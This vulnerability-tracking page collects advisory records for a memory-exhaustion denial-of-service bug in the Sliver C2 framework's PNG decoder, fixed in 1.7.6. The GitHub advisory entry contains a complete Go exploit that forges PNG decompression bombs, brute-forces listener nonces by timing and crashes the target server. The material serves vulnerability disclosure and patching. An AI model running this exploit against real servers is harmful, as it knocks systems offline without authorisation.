Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 14:22 UTC Customize Public modeDiscuss ChangeIntel on Discord

Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-77622

Published

Sliver is a command and control framework. Prior to 1.7.6, an HTTP(S) listener using the PNG encoder accepts attacker-controlled PNG dimensions without an effective decoded-size or pixel limit in util/encoders/images.go, while the listener nonce space implemented in server/encoders/encoders.go is small enough to search remotely. An unauthenticated attacker who identifies a valid nonce can submit a highly compressed image to PNGEncoder.Decode, where it expands during png.Decode, exhausting server memory and causing a complete loss of availability. This vulnerability is fixed in 1.7.6.

Source published
5 Nov 2026 20:52:39 UTC
Source modified
5 Nov 2026 20:52:39 UTC
Observed here
5 Nov 2026 21:36:21 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

euvd · EUVD-2026-117798

Published

Sliver is a command and control framework. Prior to 1.7.6, an HTTP(S) listener using the PNG encoder accepts attacker-controlled PNG dimensions without an effective decoded-size or pixel limit in util/encoders/images.go, while the listener nonce space implemented in server/encoders/encoders.go is small enough to search remotely. An unauthenticated attacker who identifies a valid nonce can submit a highly compressed image to PNGEncoder.Decode, where it expands during png.Decode, exhausting server memory and causing a complete loss of availability. This vulnerability is fixed in 1.7.6.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 5, 2026, 8:52:39 PM

dateUpdated: Nov 5, 2026, 8:52:39 PM

Source published
Nov 5, 2026, 8:52:39 PM (timezone not stated)
Source modified
Nov 5, 2026, 8:52:39 PM (timezone not stated)
Observed here
7 Nov 2026 14:30:06 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

nvd · CVE-2026-77622

Published

Sliver is a command and control framework. Prior to 1.7.6, an HTTP(S) listener using the PNG encoder accepts attacker-controlled PNG dimensions without an effective decoded-size or pixel limit in util/encoders/images.go, while the listener nonce space implemented in server/encoders/encoders.go is small enough to search remotely. An unauthenticated attacker who identifies a valid nonce can submit a highly compressed image to PNGEncoder.Decode, where it expands during png.Decode, exhausting server memory and causing a complete loss of availability. This vulnerability is fixed in 1.7.6.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Received

Weakness classifications: CWE-770

Original publisher date fields

published: 2026-11-05T21:18:53.890

lastModified: 2026-11-05T21:18:53.890

Source published
5 Nov 2026 21:18:53 UTC
Source modified
5 Nov 2026 21:18:53 UTC
Observed here
6 Nov 2026 21:03:22 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.2 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

osv · GHSA-663m-7x7m-g4fw

Published

### Summary Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. ### Details The first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go` ```go const ( EncoderModulus = uint64(65537) ) ``` The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: `util/encoders/images.go` ```go func (p PNGEncoder) Encode(data []byte) ([]byte, error) { img := imageFromBytes(data) var buf bytes.Buffer encoder.Encode(&buf, img) return buf.Bytes(), nil } func (p PNGEncoder) Decode(data []byte) ([]byte, error) { buf := bytes.NewBuffer(data) img, err := png.Decode(buf) if err != nil { return nil, err } return bytesFromImage(img), nil } ``` ### PoC The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused. Get the latest version of Sliver (Currently 1.7.3) ```bash git clone https://github.com/BishopFox/sliver.git ``` Build the Docker container: ```bash cd sliver docker build -t sliver-test:local -f Dockerfile . ``` Run the Docker container with a memory cap for example 4GB: ```bash docker run --rm \ --name sliver-test \ --memory=4g \ -p 8080:8080 \ -it \ sliver-test:local ``` After the Docker container starts, create an http listener on port 8080: ```bash http -L 0.0.0.0 -l 8080 ``` In a seperate terminal create the following Go project: `go.mod` ```Go module pngboomer go 1.25 ``` `poc.go` ```Go // pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill. // // SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run // it against a Docker container with --memory=<N>g and pass -target-cap-mb N // so the tool can refuse dangerous worker/probe combos. // // Build: go build -o pngboomer // Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240 package main import ( "bytes" "compress/zlib" "context" "encoding/binary" "flag" "fmt" "hash/crc32" "io" "math/rand" "net" "net/http" "net/url" "os" "sort" "sync" "sync/atomic" "time" ) // ANSI color — single helper, disabled by -no-color / -silent. var nocolor bool func col(code, s string) string { if nocolor { return s } return "\x1b[" + code + "m" + s + "\x1b[0m" } func B(s string) string { return col("1", s) } func D(s string) string { return col("2", s) } func R(s string) string { return col("1;31", s) } func G(s string) string { return col("1;32", s) } func Y(s string) string { return col("1;33", s) } func C(s string) string { return col("1;36", s) } func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 } // PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for // the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px). func chunk(typ string, data []byte) []byte { out := make([]byte, 4, 12+len(data)) binary.BigEndian.PutUint32(out, uint32(len(data))) out = append(out, typ...) out = append(out, data...) crc := crc32.NewIEEE() crc.Write([]byte(typ)) crc.Write(data) tail := make([]byte, 4) binary.BigEndian.PutUint32(tail, crc.Sum32()) return append(out, tail...) } func makePNG(W, H, ct int) []byte { bpp := 3 if ct == 6 { bpp = 4 } var zb bytes.Buffer zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression) row := make([]byte, 1+bpp*W) for i := 0; i < H; i++ { zw.Write(row) } zw.Close() ihdr := make([]byte, 13) binary.BigEndian.PutUint32(ihdr[0:4], uint32(W)) binary.BigEndian.PutUint32(ihdr[4:8], uint32(H)) ihdr[8], ihdr[9] = 8, byte(ct) out := []byte("\x89PNG\r\n\x1a\n") out = append(out, chunk("IHDR", ihdr)...) out = append(out, chunk("IDAT", zb.Bytes())...) return append(out, chunk("IEND", nil)...) } // HTTP helpers func hostPort(u string) string { p, _ := url.Parse(u) if p.Port() != "" { return p.Hostname() + ":" + p.Port() } if p.Scheme == "https" { return p.Hostname() + ":443" } return p.Hostname() + ":80" } func alive(hp string, t time.Duration) bool { c, err := net.DialTimeout("tcp", hp, t) if err != nil { return false } c.Close() return true } func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration { req, _ := http.NewRequestWithContext(ctx, "POST", fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body)) req.Header.Set("Content-Type", "application/octet-stream") t := time.Now() resp, err := cli.Do(req) dt := time.Since(t) if err == nil { io.Copy(io.Discard, resp.Body) resp.Body.Close() } return dt } type hit struct { n uint64 dt time.Duration } func main() { target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL") workers := flag.Int("workers", 8, "scan concurrency") probeW := flag.Int("probe-w", 2000, "probe PNG width") probeH := flag.Int("probe-h", 2000, "probe PNG height") probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA") killW := flag.Int("kill-w", 32767, "kill PNG width") killH := flag.Int("kill-h", 32767, "kill PNG height") killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA") thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))") outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold") calibN := flag.Int("calibrate", 16, "non-PNG calibration samples") verifyN := flag.Int("verify", 3, "re-probe count per candidate") maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)") pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout") kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout") capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check") known := flag.Int("nonce", 0, "skip scan, use this nonce directly") scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill") noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill") noClr := flag.Bool("no-color", false, "disable ANSI color") silent := flag.Bool("silent", false, "only print nonce on stdout") flag.Parse() nocolor = *noClr || *silent pBpp, kBpp := 3, 3 if *probeCT == 6 { pBpp = 4 } if *killCT == 6 { kBpp = 4 } probeMB := pBpp * *probeW * *probeH / 1024 / 1024 killMB := kBpp * *killW * *killH / 1024 / 1024 peakMB := *workers * probeMB if *capMB > 0 && peakMB > *capMB/2 { fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n", R("[X] safety:"), peakMB, *capMB) os.Exit(2) } probe := makePNG(*probeW, *probeH, *probeCT) kill := makePNG(*killW, *killH, *killCT) hp := hostPort(*target) if !alive(hp, 2*time.Second) { fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp) os.Exit(2) } if !*silent { fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS")) fmt.Fprintf(os.Stderr, " probe %dB wire %dx%d c=%d → %d MiB decode\n", len(probe), *probeW, *probeH, *probeCT, probeMB) fmt.Fprintf(os.Stderr, " kill %dB wire %dx%d c=%d → %d MiB decode\n", len(kill), *killW, *killH, *killCT, killMB) fmt.Fprintf(os.Stderr, " scan peak ≈ %d MiB target cap=%d MiB reachable=%s\n", peakMB, *capMB, B(hp)) } cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}} pngN := uint64(*known) if pngN == 0 { // ─── Phase 1: calibrate non-PNG baseline ─── dts := make([]time.Duration, *calibN) sem := make(chan struct{}, 8) var wg sync.WaitGroup for i := 0; i < *calibN; i++ { i := i sem <- struct{}{} wg.Add(1) go func() { defer wg.Done() defer func() { <-sem }() dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1)) }() } wg.Wait() sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] }) p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100] eff := int64(*thMs) if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff { eff = a } *thMs = int(eff) thresh := time.Duration(*thMs) * time.Millisecond if !*silent { fmt.Fprintf(os.Stderr, " baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)\n", ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier) } // ─── Phase 2: scan with verify + blacklist-on-blip ─── blacklist := map[uint64]bool{} var maxDt int64 var maxNonce uint64 var totalDone uint64 scanStart := time.Now() const maxBlips = 8 // Shuffled nonce order, shared across re-scans. Workers pull via atomic // counter — no channels, no producer goroutine. order := make([]uint64, *maxN-1) for i := range order { order[i] = uint64(i + 1) } rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] }) for blip := 0; blip < maxBlips && pngN == 0; blip++ { scanCtx, scanCancel := context.WithCancel(context.Background()) hits := make(chan hit, 1) var idx int64 var scanned uint64 var swg sync.WaitGroup for i := 0; i < *workers; i++ { swg.Add(1) go func() { defer swg.Done() for scanCtx.Err() == nil { i := atomic.AddInt64(&idx, 1) - 1 if i >= int64(len(order)) { return } n := order[i] if blacklist[n] { continue } dt := post(scanCtx, cli, *target, probe, n) atomic.AddUint64(&scanned, 1) for { // track slowest probe (lock-free CAS) cur := atomic.LoadInt64(&maxDt) if dt.Nanoseconds() <= cur { break } if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) { atomic.StoreUint64(&maxNonce, n) break } } if dt >= thresh { select { case hits <- hit{n, dt}: default: } scanCancel() return } } }() } if !*silent { go func() { t := time.NewTicker(750 * time.Millisecond) defer t.Stop() for { select { case <-scanCtx.Done(): return case <-t.C: tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned) el := time.Since(scanStart).Seconds() fmt.Fprintf(os.Stderr, D(" scanned %d (%.0f/s, %.1fs, blips=%d)\n"), tot, float64(tot)/el, el, blip) } } }() } go func() { swg.Wait(); close(hits) }() cand, ok := <-hits scanCancel() atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned)) if !ok { break // exhausted, no candidate } // VERIFY: re-probe N×, count threshold hits, render tries inline conf := 0 var tries bytes.Buffer for i := 0; i < *verifyN; i++ { dt := post(context.Background(), cli, *target, probe, cand.n) if dt >= thresh { conf++ tries.WriteString(G("✓")) } else { tries.WriteString(R("✗")) } fmt.Fprintf(&tries, "%.0fms ", ms(dt)) } if !*silent { fmt.Fprintf(os.Stderr, " candidate %s (%.0fms) verify: %s\n", B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String()) } if conf >= (*verifyN+1)/2 { pngN = cand.n if !*silent { fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n", G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)), time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist)) } break } blacklist[cand.n] = true if !*silent { fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted\n", Y("[!] blip"), cand.n, conf, *verifyN) } } if pngN == 0 { mDt := time.Duration(atomic.LoadInt64(&maxDt)) mN := atomic.LoadUint64(&maxNonce) fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n", R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone)) fmt.Fprintf(os.Stderr, " slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt)) suggest := mDt.Milliseconds() * 6 / 10 if suggest < 30 { suggest = 30 } fmt.Fprintf(os.Stderr, " fix: %s or grow -probe-w/-probe-h\n", C(fmt.Sprintf("-threshold-ms %d", suggest))) os.Exit(2) } } if *scanOnly { fmt.Println(pngN) return } // ─── Phase 3: fire kill bomb ─── if !*silent { fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n", B("[*]"), killMB, *target, pngN) } kCli := &http.Client{Timeout: *kTO} killStart := time.Now() done := make(chan struct{}) go func() { dt := post(context.Background(), kCli, *target, kill, pngN) if !*silent { fmt.Fprintf(os.Stderr, " kill returned in %.2fs\n", dt.Seconds()) } close(done) }() if *noConf { <-done fmt.Println(pngN) return } deadline := time.Now().Add(*kTO) for time.Now().Before(deadline) { time.Sleep(250 * time.Millisecond) if !alive(hp, time.Second) { if !*silent { fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n", G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp) } fmt.Println(pngN) return } } fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h\n", Y("[!]"), *kTO) os.Exit(1) } ``` ### Impact This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing. ### Collaboration This vulnerability was found with the help of Wencheng Xue (panwnvda).

Source published
15 Oct 2026 20:09:33 UTC
Source modified
19 Oct 2026 21:40:45 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH

osv · GO-2026-6777

Published

Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder in github.com/bishopfox/sliver

Source published
19 Oct 2026 21:08:35 UTC
Source modified
19 Oct 2026 21:31:50 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 8 Nov 14:22 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current